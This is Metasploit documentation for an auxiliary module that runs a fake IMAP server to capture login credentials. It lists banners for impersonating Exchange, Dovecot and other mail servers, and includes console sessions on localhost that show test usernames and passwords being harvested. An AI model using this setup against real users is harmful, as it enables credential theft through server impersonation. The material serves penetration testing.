This module creates a mock IMAP server which accepts credentials.

## Verification Steps

  1. Start msfconsole
  2. Do: ```use auxiliary/server/capture/imap```
  3. Do: ```run```

## Options

### BANNER

  The Banner which should be displayed.  Default is `IMAP4`.
  Some notable banners to emulate:

  * `Dovecot ready.`
  * `IMAP 4 Server (IMail 9.23)`
  * `mailserver Cyrus IMAP4 v2.2.13-Debian-2.2.13-19 server ready`
  * `Welcome to Binc IMAP v1.3.4 Copyright (C) 2002-2005 Andreas Aardal Hanssen at 2018-11-08 11:17:35 +1100`
  * `The Microsoft Exchange IMAP4 service is ready.`
  * `Microsoft Exchange Server 2003 IMAP4rev1 server versino 6.5.7638.1 (domain.local) ready.`

### SSL

  Boolean if SSL should be used, making this Secure IMAP.  Secure IMAP is typically run on port 993.  If `SSLCert` is not set, a certificate
  will be automatically generated.  Default is `False`.

### SSLCert

  File path to a combined Private Key and Certificate file.  If not provided, a certificate will be automatically
  generated.  Default is ``.

## Scenarios

### IMAP Emulating Microsoft Exchange with Telnet Client

Server:

```
msf > use auxiliary/server/capture/imap 
msf auxiliary(server/capture/imap) > set banner "The Microsoft Exchange IMAP4 service is ready."
banner => The Microsoft Exchange IMAP4 service is ready.
msf auxiliary(server/capture/imap) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/capture/imap) > 
[*] Started service listener on 0.0.0.0:143 
[*] Server started.
[*] IMAP LOGIN 127.0.0.1:42972 metasploit@documentation.com / rapid7#1
```

Client:

```
root@kali:~# telnet 127.0.0.1 143
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
* OK The Microsoft Exchange IMAP4 service is ready.
01 LOGIN metasploit@documentation.com rapid7#1
quit
Connection closed by foreign host.
```

### Secure IMAP with Self-Signed Certificate and Alpine client

Server:

```
msf > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

Generating a RSA private key
.................................................................................................+++++
...................+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
msf > cat key.pem certificate.pem > selfsigned.pem
[*] exec: cat key.pem certificate.pem > selfsigned.pem

msf > cat /root/metasploit-framework/selfsigned.pem
[*] exec: cat /root/metasploit-framework/selfsigned.pem

-----BEGIN PRIVATE KEY-----

eAGSi8F+qcJaS3VDRGEC9zcK
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----

uBVlsY6F7EjTfWpxwyVP
-----END CERTIFICATE-----
msf > use auxiliary/server/capture/imap 
msf auxiliary(server/capture/imap) > set ssl true
ssl => true
msf auxiliary(server/capture/imap) > set sslcert /root/metasploit-framework/selfsigned.pem
sslcert => /root/metasploit-framework/selfsigned.pem
msf auxiliary(server/capture/imap) > set srvport 993
srvport => 993
msf auxiliary(server/capture/imap) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/capture/imap) > 
[*] Started service listener on 0.0.0.0:993 
[*] Server started.
[+] IMAP LOGIN 127.0.0.1:59024 "johndoe" / "p455w0rd"
```

Clients:

```
root@kali:~# cat ~/.muttrc
set spoolfile="imaps://johndoe:p455w0rd@127.0.0.1/INBOX"
set folder="imaps://127.0.0.1/INBOX"
set record="=Sent"
set postponed="=Drafts"

root@kali:~# mutt
```

The user is prompted about the invalid certificate, and the client gets stuck at "Logging in...", however
it doesn't matter since the credentials have already been sent.
